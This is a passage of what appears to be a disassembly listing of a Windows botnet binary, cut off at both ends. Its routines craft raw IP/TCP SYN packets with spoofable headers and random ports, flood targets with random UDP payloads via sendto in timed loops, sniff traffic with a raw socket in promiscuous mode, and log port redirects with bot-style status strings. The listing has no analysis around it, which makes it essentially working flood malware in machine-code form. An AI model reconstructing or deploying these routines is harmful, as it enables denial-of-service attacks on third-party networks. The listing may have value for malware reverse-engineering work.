byte_4D8075 call sub_401857 add esp, 28h lea ecx, [esp+34h+var_24] call sub_40142E mov edx, [esi+54h] mov eax, [esi+50h] mov ecx, [esi+58h] push edx push eax push ecx mov ecx, edi mov [esp+40h+var_4], 0 call sub_4014DD push eax call sub_401DCF sub_428260 endp ; --------------------------------------------------------------------------- cdq and edx, 3FFh add esp, 10h add eax, edx mov ecx, edi sar eax, 0Ah cdq idiv dword ptr [esi+50h] mov edx, [esi+58h] push eax push edx call sub_4017EE push eax mov ecx, ebx call sub_4017EE push eax lea eax, [esp+20h] push offset aSSDIkbSec ; "%s: %s:%d (%ikb/sec)" push eax call sub_40102D add esp, 18h lea ecx, [esp+10h] call sub_4017EE push eax mov ecx, ebp call sub_4014DD mov cl, [esi+90h] mov dl, [esi+8Fh] push eax push ecx push edx push offset byte_4D8075 call sub_401857 add esp, 14h mov dword ptr [esp+30h], 0FFFFFFFFh lea ecx, [esp+10h] call sub_401226 mov ecx, [esp+28h] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 24h retn ; --------------------------------------------------------------------------- db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4283D0 proc near ; CODE XREF: sub_401BC7j var_95 = byte ptr -95h var_8C = dword ptr -8Ch var_3C = byte ptr -3Ch var_3B = byte ptr -3Bh sub esp, 98h push ebx push ebp push esi push edi mov ecx, 0Eh xor eax, eax lea edi, [esp+0A8h+var_3B] mov [esp+0A8h+var_3C], 0 rep stosd stosw xor esi, esi push 0FFh push esi mov [esp+0B0h+var_8C], esi stosb mov [esp+0B0h+var_95], 0 call sub_4021C6 sub_4283D0 endp ; --------------------------------------------------------------------------- push 0FFh push esi mov [esp+24h], al call sub_4021C6 ; --------------------------------------------------------------------------- push 0FFh push esi mov [esp+2Dh], al call sub_4021C6 ; --------------------------------------------------------------------------- push 0FFh push esi mov [esp+36h], al call sub_4021C6 ; --------------------------------------------------------------------------- add esp, 20h cmp [esp+0B4h], si mov [esp+17h], al jnz short loc_428461 push 2710h push 3E8h mov byte ptr [esp+1Bh], 1 call sub_4021C6 ; --------------------------------------------------------------------------- add esp, 8 mov [esp+0B4h], eax loc_428461: ; CODE XREF: ___:00428441j push 1 push esi push esi push 0FFh push 3 push 2 mov dword ptr [esp+64h], 1 nop call near ptr 71AB8769h mov edi, eax cmp edi, 0FFFFFFFFh mov [esp+18h], edi jnz short loc_428494 pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 98h retn ; --------------------------------------------------------------------------- loc_428494: ; CODE XREF: ___:00428485j lea eax, [esp+4Ch] push 4 push eax push 2 push esi push edi nop call near ptr 71AB3EA1h cmp eax, 0FFFFFFFFh jnz short loc_4284B7 loc_4284AA: ; CODE XREF: ___:0042865Fj pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 98h retn ; --------------------------------------------------------------------------- loc_4284B7: ; CODE XREF: ___:004284A8j mov ecx, [esp+0B4h] mov ebp, dword_511C38 push ecx mov word ptr [esp+60h], 2 call ebp ; ntohs mov ebx, [esp+0ACh] push 28h mov [esp+62h], ax mov [esp+64h], ebx mov byte ptr [esp+24h], 45h call ebp ; ntohs push 4000h mov [esp+26h], ax mov word ptr [esp+28h], 1 mov [esp+2Ah], si mov byte ptr [esp+2Ch], 80h mov byte ptr [esp+2Dh], 6 mov [esp+2Eh], si mov [esp+34h], ebx mov byte ptr [esp+44h], 50h mov byte ptr [esp+45h], 2 call ebp ; ntohs mov [esp+42h], ax mov [esp+46h], si mov [esp+3Ch], esi call near ptr 27E0B10h nop mov [esp+48h], eax mov al, byte_4D84B9 test al, al jz loc_42870B mov ebx, dword_511AC8 mov byte ptr [esp+58h], 0 mov byte ptr [esp+59h], 6 jmp short loc_428555 ; --------------------------------------------------------------------------- xor esi, esi loc_428555: ; CODE XREF: ___:00428551j mov edi, [esp+1Ch] mov edx, [esp+0B4h] inc edi push edx mov [esp+20h], edi mov [esp+48h], si call ebp ; ntohs push 14h mov [esp+3Ah], ax call ebp ; ntohs mov [esp+5Ah], ax mov eax, [esp+14h] push eax nop call near ptr 71AB2BC0h mov esi, eax mov [esp+2Ch], esi call ebx ; rand cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call ebp ; ntohs mov [esp+34h], ax call ebx ; rand mov edi, eax shl edi, 10h call ebx ; rand or edi, eax push edi call ebp ; ntohs mov edx, [esp+0ACh] and eax, 0FFFFh mov [esp+38h], eax mov eax, [esp+58h] mov [esp+6Ch], esi mov ecx, 5 lea esi, [esp+34h] lea edi, [esp+78h] mov [esp+70h], edx mov [esp+74h], eax rep movsd lea ecx, [esp+6Ch] push 20h push ecx call sub_401A37 mov ecx, 5 lea esi, [esp+28h] lea edi, [esp+74h] lea edx, [esp+74h] rep movsd mov ecx, 5 lea esi, [esp+3Ch] lea edi, [esp+88h] mov [esp+4Ch], ax push 28h push edx rep movsd mov dword ptr [esp+0A4h], 0 call sub_401A37 mov edx, [esp+28h] add esp, 10h mov [esp+2Ah], ax mov ecx, 5 lea esi, [esp+20h] lea edi, [esp+6Ch] lea eax, [esp+5Ch] push 10h rep movsd push eax push 0 lea ecx, [esp+78h] push 28h push ecx push edx call near ptr 71AB2C69h nop cmp eax, 0FFFFFFFFh jz loc_4284AA nop call near ptr 27E0B10h mov edx, [esp+48h] mov ecx, eax sub ecx, edx mov eax, 10624DD3h mul ecx mov eax, [esp+0B8h] shr edx, 6 cmp edx, eax ja short loc_428707 mov al, [esp+13h] test al, al jz short loc_4286A9 push 2710h push 3E8h call sub_4021C6 ; --------------------------------------------------------------------------- add esp, 8 mov [esp+0B4h], eax loc_4286A9: ; CODE XREF: ___:0042868Ej push 0FFh push 0 call sub_4021C6 ; --------------------------------------------------------------------------- push 0FFh push 0 mov [esp+24h], al call sub_4021C6 ; --------------------------------------------------------------------------- push 0FFh push 0 mov [esp+2Dh], al call sub_4021C6 ; --------------------------------------------------------------------------- push 0FFh push 0 mov [esp+36h], al call sub_4021C6 ; --------------------------------------------------------------------------- db 8Bh, 94h, 24h dd 0DCh, 8820C483h, 52172444h, 96E8E890h, 0B9A0023Fh, 84004D84h dd 4C850FC0h db 0FEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_428707: ; CODE XREF: ___:00428686j mov edi, [esp+18h] loc_42870B: ; CODE XREF: ___:0042853Bj push edi nop call near ptr 71AB9639h mov eax, [esp+1Ch] pop edi pop esi pop ebp lea eax, [eax+eax*4+5] pop ebx shl eax, 2 add esp, 98h retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 0E0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_428810 proc near ; CODE XREF: sub_401DCFj arg_0 = dword ptr 4 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h mov eax, [esp+arg_0] push esi push eax call sub_40188E mov esi, eax nop call near ptr 77C371D3h and eax, 800001FFh jns short loc_428831 dec eax or eax, 0FFFFFE00h inc eax loc_428831: ; CODE XREF: sub_428810+18j mov ecx, [esp+4+arg_10] mov edx, [esp+4+arg_C] push ecx mov ecx, [esp+8+arg_8] lea eax, [eax+esi+100h] push edx push ecx push eax push esi call sub_401BC7 sub_428810 endp ; --------------------------------------------------------------------------- add esp, 18h pop esi retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_428880 proc near ; CODE XREF: sub_40178Fj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_428880 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401F9B push offset aUdp ; "udp" lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43F11C call sub_4015E1 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_428880 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4288F0 proc near ; CODE XREF: ___:004014F6j sub_40224Dj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401159 test [esp+4+arg_0], 1 jz short loc_428908 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_428908: ; CODE XREF: sub_4288F0+Dj mov eax, esi pop esi retn 4 sub_4288F0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_428920 proc near ; CODE XREF: sub_401159j jmp sub_4014CE sub_428920 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_428940 proc near ; CODE XREF: sub_401A14j var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_428940 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push ebp push esi mov esi, ecx push edi mov eax, [esi+54h] mov ecx, [esi+60h] mov edx, [esi+5Ch] push eax mov eax, [esi+58h] lea edi, [esi+3Bh] push ecx push edx push eax mov ecx, edi lea ebx, [esi+11h] lea ebp, [esi+26h] call sub_4017EE push eax mov ecx, ebx call sub_4017EE push eax push offset aSSUUtUbDms ; "%s: %s:%u (%ut/%ub/%dms)" mov ecx, ebp call sub_4014DD mov cl, [esi+90h] mov dl, [esi+8Fh] push eax push ecx push edx push offset byte_4D8075 call sub_401857 add esp, 2Ch lea ecx, [esp+34h+var_24] call sub_40142E mov eax, [esi+58h] mov ecx, [esi+54h] mov edx, [esi+60h] push eax mov eax, [esi+5Ch] push ecx push edx push eax mov ecx, edi mov [esp+44h+var_4], 0 call sub_4014DD push eax call sub_40173A add esp, 14h test eax, eax jz short loc_428A0E mov ecx, [esi+5Ch] mov edx, [esi+58h] push ecx push edx mov ecx, edi call sub_4017EE push eax mov ecx, ebx call sub_4017EE push eax lea eax, [esp+44h+var_24] push offset aSSDDone ; "%s: %s:%d done" push eax call sub_40102D add esp, 18h loc_428A0E: ; CODE XREF: sub_428940+A2j lea ecx, [esp+34h+var_24] call sub_4017EE push eax mov ecx, ebp call sub_4014DD mov cl, [esi+90h] mov dl, [esi+8Fh] push eax push ecx push edx push offset byte_4D8075 call sub_401857 add esp, 14h lea ecx, [esp+34h+var_24] mov [esp+34h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+34h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 24h retn sub_428940 endp ; --------------------------------------------------------------------------- db 90h db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_428AB0 proc near ; CODE XREF: sub_40173Aj var_36 = word ptr -36h var_18 = byte ptr -18h var_16 = word ptr -16h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_FFBC = dword ptr 0FFC0h arg_FFCC = dword ptr 0FFD0h arg_FFDC = dword ptr 0FFE0h arg_FFE0 = dword ptr 0FFE4h arg_FFE4 = dword ptr 0FFE8h arg_FFE8 = dword ptr 0FFECh arg_FFEC = dword ptr 0FFF0h mov eax, 0FFF0h call sub_437B30 push esi push 11h push 2 push 2 nop call near ptr 71AB3B91h mov esi, [esp+10h+arg_FFE4] mov [esp+10h+arg_0], eax xor eax, eax push esi mov [esp+14h+var_C], eax mov word ptr [esp+14h+var_C], 2 mov [esp+14h+var_8], eax mov [esp+14h+var_4], eax mov [esp+14h], eax nop call near ptr 71AB2BF4h cmp eax, 0FFFFFFFFh jnz short loc_428B11 push esi nop call near ptr 71AB4FD4h test eax, eax jnz short loc_428B0A pop esi add esp, 0FFF0h retn ; --------------------------------------------------------------------------- loc_428B0A: ; CODE XREF: sub_428AB0+50j mov ecx, [eax+0Ch] mov edx, [ecx] mov eax, [edx] loc_428B11: ; CODE XREF: sub_428AB0+45j mov esi, [esp+18h+arg_FFEC] push ebx mov ebx, dword_511AC8 push ebp test esi, esi mov [esp+20h+var_10], eax push edi jnz short loc_428B4D call ebx ; rand cdq mov ecx, 0FFDCh idiv ecx inc edx push edx nop call near ptr 71AB2B66h mov [esp+28h+var_16], ax mov [esp+28h+arg_FFE8], 1 jmp short loc_428B7E ; --------------------------------------------------------------------------- loc_428B4D: ; CODE XREF: sub_428AB0+77j push esi nop call near ptr 71AB2B66h cmp esi, 1 mov [esp+28h+var_16], ax jge short loc_428B6B mov [esp+28h+arg_FFE8], 1 jmp short loc_428B7E ; --------------------------------------------------------------------------- loc_428B6B: ; CODE XREF: sub_428AB0+ACj cmp esi, 0FFFFh jle short loc_428B7E mov [esp+28h+arg_FFE8], 0FFFFh loc_428B7E: ; CODE XREF: sub_428AB0+9Bj ; sub_428AB0+B9j ... mov eax, [esp+28h+arg_FFE4] test eax, eax jnz short loc_428B94 mov [esp+28h+arg_FFE4], 1 loc_428B94: ; CODE XREF: sub_428AB0+D7j mov ecx, [esp+28h+arg_FFDC] mov eax, 66666667h imul ecx mov edi, [esp+28h+arg_FFE0] xor esi, esi sar edx, 2 mov eax, edx shr eax, 1Fh add edx, eax test edi, edi mov ebp, edx jle short loc_428BCE loc_428BBB: ; CODE XREF: sub_428AB0+11Cj call ebx ; rand cdq mov ecx, 0FFh idiv ecx inc esi cmp esi, edi mov byte ptr [esp+esi+28h+var_8+3], dl jl short loc_428BBB loc_428BCE: ; CODE XREF: sub_428AB0+109j mov edx, ebp dec ebp test edx, edx mov [esp+28h+arg_FFDC], ebp jle loc_428C60 mov ebp, dword_511C68 loc_428BE6: ; CODE XREF: sub_428AB0+1AEj mov al, byte_4D84B9 test al, al jz short loc_428C60 mov esi, 0Bh loc_428BF4: ; CODE XREF: sub_428AB0+177j lea eax, [esp+28h+var_18] push 10h push eax push 0 call ebx ; rand cdq mov ecx, 0Ah idiv ecx mov eax, edi lea ecx, [esp+34h+var_4] sub eax, edx mov edx, [esp+34h+var_8] push eax push ecx push edx call ebp ; sendto mov eax, [esp+40h+arg_FFCC] push eax nop call near ptr 2821DE2h dec esi jnz short loc_428BF4 mov eax, [esp+44h+arg_FFCC] test eax, eax jnz short loc_428C4B call ebx ; rand cdq mov ecx, 0FFDCh idiv ecx inc edx push edx call near ptr 71AB2B66h nop mov [esp+48h+var_36], ax loc_428C4B: ; CODE XREF: sub_428AB0+182j mov eax, [esp+48h+arg_FFBC] mov edx, eax dec eax test edx, edx mov [esp+48h+arg_FFBC], eax jg short loc_428BE6 loc_428C60: ; CODE XREF: sub_428AB0+12Aj ; sub_428AB0+13Dj pop edi pop ebp pop ebx mov eax, 1 pop esi add esp, 0FFF0h retn sub_428AB0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_428CE0 proc near ; CODE XREF: sub_40209Aj var_10 = word ptr -10h var_C = dword ptr -0Ch arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 10h push ebx mov ebx, [esp+14h+arg_4] push esi push edi mov edi, [esp+1Ch+arg_0] lea eax, [ebx-14h] push eax lea ecx, [edi+28h] push ecx call sub_401A37 mov edx, [edi+10h] add esp, 8 mov [edi+0Ah], ax mov [esp+1Ch+var_10], 2 push 1 push 0 push 0 push 0FFh push 3 push 2 mov [esp+34h+var_C], edx mov [esp+34h+arg_4], 1 call near ptr 71AB8769h nop mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_428D3D pop edi pop esi or eax, eax pop ebx add esp, 10h retn ; --------------------------------------------------------------------------- loc_428D3D: ; CODE XREF: sub_428CE0+52j lea eax, [esp+1Ch+arg_4] push 4 push eax push 2 push 0 push esi nop call near ptr 71AB3EA1h cmp eax, 0FFFFFFFFh jnz short loc_428D5D pop edi pop esi or eax, eax pop ebx add esp, 10h retn ; --------------------------------------------------------------------------- loc_428D5D: ; CODE XREF: sub_428CE0+72j lea ecx, [esp+1Ch+var_10] push 10h push ecx push 0 push ebx push edi push esi nop call near ptr 71AB2C69h push esi mov edi, eax nop call near ptr 71AB9639h mov eax, edi pop edi pop esi pop ebx add esp, 10h retn sub_428CE0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_428DC0 proc near ; CODE XREF: sub_401DB1j var_68 = dword ptr -68h var_64 = dword ptr -64h var_28 = dword ptr -28h var_18 = byte ptr -18h var_14 = byte ptr -14h var_C = dword ptr -0Ch arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_10 = word ptr 14h arg_12 = word ptr 16h arg_14 = dword ptr 18h arg_1C = byte ptr 20h arg_24 = byte ptr 28h arg_25 = byte ptr 29h arg_B8 = byte ptr 0BCh arg_C1 = byte ptr 0C5h arg_C4 = dword ptr 0C8h arg_C8 = dword ptr 0CCh arg_100C8 = dword ptr 100CCh arg_100D8 = dword ptr 100DCh arg_10128 = dword ptr 1012Ch arg_1012C = dword ptr 10130h arg_10130 = dword ptr 10134h mov eax, 10128h call sub_437B30 push ebx push ebp push esi push edi mov ecx, 3Fh xor eax, eax lea edi, [esp+10h+arg_25] mov [esp+10h+arg_24], 0 rep stosd stosw mov eax, [esp+10h+arg_10128] push eax call sub_40188E mov ecx, [esp+14h+arg_1012C] mov [esp+14h+arg_4], eax push ecx call sub_40188E mov edi, [esp+18h+arg_10130] add esp, 8 xor ebx, ebx mov [esp+10h+arg_0], eax mov [esp+10h+arg_10], 2 mov [esp+10h+arg_12], bx mov [esp+10h+arg_14], ebx mov esi, offset byte_448F30 mov eax, edi loc_428E27: ; CODE XREF: sub_428DC0+85j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_428E4B test cl, cl jz short loc_428E47 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_428E4B add eax, 2 add esi, 2 test cl, cl jnz short loc_428E27 loc_428E47: ; CODE XREF: sub_428DC0+71j xor eax, eax jmp short loc_428E50 ; --------------------------------------------------------------------------- loc_428E4B: ; CODE XREF: sub_428DC0+6Dj ; sub_428DC0+7Bj sbb eax, eax sbb eax, 0FFFFFFFFh loc_428E50: ; CODE XREF: sub_428DC0+89j cmp eax, ebx jnz short loc_428EA3 mov ebp, dword_4D80C7 cmp ebp, ebx mov [esp+10h], ebp jz short loc_428E67 cmp ebp, 0FFFFFFFFh jnz short loc_428EAE loc_428E67: ; CODE XREF: sub_428DC0+A0j lea eax, [esp+10h+arg_24] push 0FFh push eax nop call near ptr 71AB50C8h lea ecx, [esp+18h+arg_1C] push ecx nop call near ptr 71AB4FD4h movsx ecx, word ptr [eax+0Ah] mov edx, [eax+0Ch] mov eax, ecx lea edi, [esp+1Ch+var_C] mov esi, [edx] shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov ebp, [esp+1Ch+var_C] jmp short loc_428EAE ; --------------------------------------------------------------------------- loc_428EA3: ; CODE XREF: sub_428DC0+92j push edi call sub_40188E add esp, 4 mov ebp, eax loc_428EAE: ; CODE XREF: sub_428DC0+A5j ; sub_428DC0+E1j cmp ebp, ebx jz short loc_428EB7 cmp ebp, 0FFFFFFFFh jnz short loc_428EBD loc_428EB7: ; CODE XREF: sub_428DC0+F0j mov ebp, dword_4D80C7 loc_428EBD: ; CODE XREF: sub_428DC0+F5j mov edi, 1 mov [esp+10h+arg_14], ebp push edi push ebx push ebx push ebx push 3 push 2 mov [esp+28h+arg_8], edi nop call near ptr 71AB8769h mov esi, eax cmp esi, 0FFFFFFFFh jz loc_428FFD lea ecx, [esp+28h+var_C] push 4 push ecx push 2 push ebx push esi nop call near ptr 71AB3EA1h cmp eax, 0FFFFFFFFh jz loc_428FFD lea edx, [esp+3Ch+var_18] push 10h push edx push esi nop call near ptr 71AB3E00h cmp eax, 0FFFFFFFFh jz loc_428FFD push ebx lea eax, [esp+4Ch+var_14] push ebx push eax push ebx push ebx lea ecx, [esp+5Ch+var_28] push 4 push ecx push 98000001h push esi mov [esp+6Ch+var_28], edi call near ptr 71AB4489h nop cmp eax, 0FFFFFFFFh jz loc_428FFD mov edx, [esp+6Ch+arg_100D8] cmp byte ptr [edx], 0 jz loc_428FE3 mov ebx, dword_511CA4 loc_428F53: ; CODE XREF: sub_428DC0+21Dj mov ecx, 3FFFh xor eax, eax lea edi, [esp+6Ch+arg_C8] push 0 rep stosd stosw stosb lea eax, [esp+70h+arg_C8] push 0FFFFh push eax push esi call ebx ; recv cmp [esp+7Ch+arg_C1], 2Fh jnz short loc_428FD3 mov ecx, [esp+7Ch+arg_C4] mov edx, [esp+7Ch+var_64] cmp ecx, edx jnz short loc_428FAE mov ecx, [esp+7Ch+var_68] lea edx, [esp+7Ch+arg_B8] push eax mov [esp+80h+arg_C4], ebp mov [esp+80h+arg_C8], ecx push edx jmp short loc_428FCB ; --------------------------------------------------------------------------- loc_428FAE: ; CODE XREF: sub_428DC0+1CFj cmp ecx, [esp+7Ch+var_68] jnz short loc_428FD3 push eax lea eax, [esp+80h+arg_B8] mov [esp+80h+arg_C4], ebp mov [esp+80h+arg_C8], edx push eax loc_428FCB: ; CODE XREF: sub_428DC0+1ECj call sub_40209A add esp, 8 loc_428FD3: ; CODE XREF: sub_428DC0+1C0j ; sub_428DC0+1F2j mov ecx, [esp+7Ch+arg_100C8] cmp byte ptr [ecx], 0 jnz loc_428F53 loc_428FE3: ; CODE XREF: sub_428DC0+187j mov edx, dword_511A90 add edx, 20h push edx nop call near ptr 77C3EEF6h add esp, 4 push esi nop call near ptr 71AB9639h loc_428FFD: ; CODE XREF: sub_428DC0+11Dj ; sub_428DC0+137j ... pop edi pop esi pop ebp pop ebx add esp, 10128h retn sub_428DC0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 8 dup(90h) db 0A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4290B0 proc near ; CODE XREF: sub_401898j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4290B0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401FA0 push offset off_446EF4 lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43F12C call sub_4015E1 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_4290B0 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_429120 proc near ; CODE XREF: sub_401FA0j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_429120 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401E88 lea ecx, [esi+11h] mov [esp+14h+var_4], 0 call sub_40142E lea ecx, [esi+26h] mov byte ptr [esp+14h+var_4], 1 call sub_40142E lea ecx, [esi+43h] mov byte ptr [esp+14h+var_4], 2 call sub_40142E lea ecx, [esi+58h] mov byte ptr [esp+14h+var_4], 3 call sub_40142E lea ecx, [esi+6Dh] mov byte ptr [esp+14h+var_4], 4 call sub_40142E lea ecx, [esi+82h] mov byte ptr [esp+14h+var_4], 5 call sub_40142E mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F13C mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_429120 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4291E0 proc near ; CODE XREF: sub_4017A8j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4291E0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi mov dword ptr [esi], offset off_43F13C lea ecx, [esi+82h] mov [esp+14h+var_4], 5 call sub_401226 lea ecx, [esi+6Dh] mov byte ptr [esp+14h+var_4], 4 call sub_401226 lea ecx, [esi+58h] mov byte ptr [esp+14h+var_4], 3 call sub_401226 lea ecx, [esi+43h] mov byte ptr [esp+14h+var_4], 2 call sub_401226 lea ecx, [esi+26h] mov byte ptr [esp+14h+var_4], 1 call sub_401226 lea ecx, [esi+11h] mov byte ptr [esp+14h+var_4], 0 call sub_401226 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_40204F mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_4291E0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_4292B0: ; CODE XREF: ___:00401A23j ; ___:loc_402086j push esi mov esi, ecx call sub_4017A8 test byte ptr [esp+8], 1 jz short loc_4292C8 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_4292C8: ; CODE XREF: ___:004292BDj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4292E0 proc near ; CODE XREF: ___:00401096j sub_401C3Fj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_4015FF test [esp+4+arg_0], 1 jz short loc_4292F8 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_4292F8: ; CODE XREF: sub_4292E0+Dj mov eax, esi pop esi retn 4 sub_4292E0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_429310 proc near ; CODE XREF: sub_4015FFj jmp sub_4017A8 sub_429310 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_429330 proc near ; CODE XREF: sub_4015B9j push ebx push ebp push esi mov esi, ecx push edi lea edi, [esi+82h] lea ebx, [esi+58h] mov ecx, edi lea ebp, [esi+6Dh] call sub_4017EE push eax mov ecx, ebx call sub_4017EE push eax mov ecx, ebp call sub_4017EE push eax lea ecx, [esi+11h] call sub_4017EE push eax push offset aSStartedRedire ; "[%s] Started redirect from \"%s\" to \"%s\""... lea ecx, [esi+26h] call sub_4014DD mov cl, [esi+97h] push eax mov al, [esi+98h] push eax push ecx push offset byte_4D8075 call sub_401857 mov edx, [esi+99h] add esp, 24h add edx, 11Ch mov ecx, edi push edx call sub_4017EE push eax mov ecx, ebp call sub_4017EE push eax mov ecx, ebx call sub_4017EE push eax call sub_401DB1 add esp, 10h mov ecx, edi call sub_4017EE push eax mov ecx, ebx call sub_4017EE push eax mov ecx, ebp call sub_4017EE push eax lea ecx, [esi+11h] call sub_4017EE push eax push offset aSFinishedRedir ; "[%s] Finished redirect from \"%s\" to \"%s"... lea ecx, [esi+26h] call sub_4014DD mov cl, [esi+97h] push eax mov al, [esi+98h] push eax push ecx push offset byte_4D8075 call sub_401857 add esp, 24h pop edi pop esi pop ebp pop ebx retn sub_429330 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_429450 proc near ; CODE XREF: sub_401893j var_28 = dword ptr -28h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_429450 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push esi mov esi, ecx mov [esp+2Ch+var_28], esi call sub_401FA0 lea ecx, [esi+0A1h] mov [esp+2Ch+var_4], 0 call sub_40142E push 0 push 2Ah push 2Eh push 2Eh lea eax, [esp+3Ch+var_24] push 22h push eax mov byte ptr [esp+44h+var_4], 1 mov dword ptr [esi], offset off_43F14C call sub_4019C4 add esp, 18h mov ecx, eax mov byte ptr [esp+2Ch+var_4], 2 call sub_4017EE push eax lea ecx, [esi+11h] call sub_4015E1 lea ecx, [esp+2Ch+var_24] mov byte ptr [esp+2Ch+var_4], 1 call sub_401226 mov ecx, [esp+2Ch+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 28h retn sub_429450 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_429510 proc near ; CODE XREF: ___:00401E2Ej sub_4021D5j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401BE5 test [esp+4+arg_0], 1 jz short loc_429528 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_429528: ; CODE XREF: sub_429510+Dj mov eax, esi pop esi retn 4 sub_429510 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_429540 proc near ; CODE XREF: sub_401BE5j push esi mov esi, ecx push edi mov edi, dword_511C9C mov eax, [esi+0BFh] mov dword ptr [esi], offset off_43F14C cmp eax, 0FFFFFFFFh jz short loc_42955E push eax call edi ; closesocket loc_42955E: ; CODE XREF: sub_429540+19j mov eax, [esi+0BBh] cmp eax, 0FFFFFFFFh jz short loc_42956C push eax call edi ; closesocket loc_42956C: ; CODE XREF: sub_429540+27j lea ecx, [esi+0A1h] call sub_401226 mov ecx, esi call sub_4017A8 pop edi pop esi retn sub_429540 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_4295B0: ; CODE XREF: ___:loc_401D3Ej push 0FFFFFFFFh mov eax, large fs:0 push offset loc_43CDB2 push eax mov eax, 5488h mov large fs:0, esp call sub_437B30 push ebx push ebp push esi mov ebp, ecx or esi, 0FFFFFFFFh push edi mov [ebp+0BFh], esi mov byte ptr [esp+11h], 0 mov byte ptr [esp+12h], 0 loc_4295E8: ; CODE XREF: 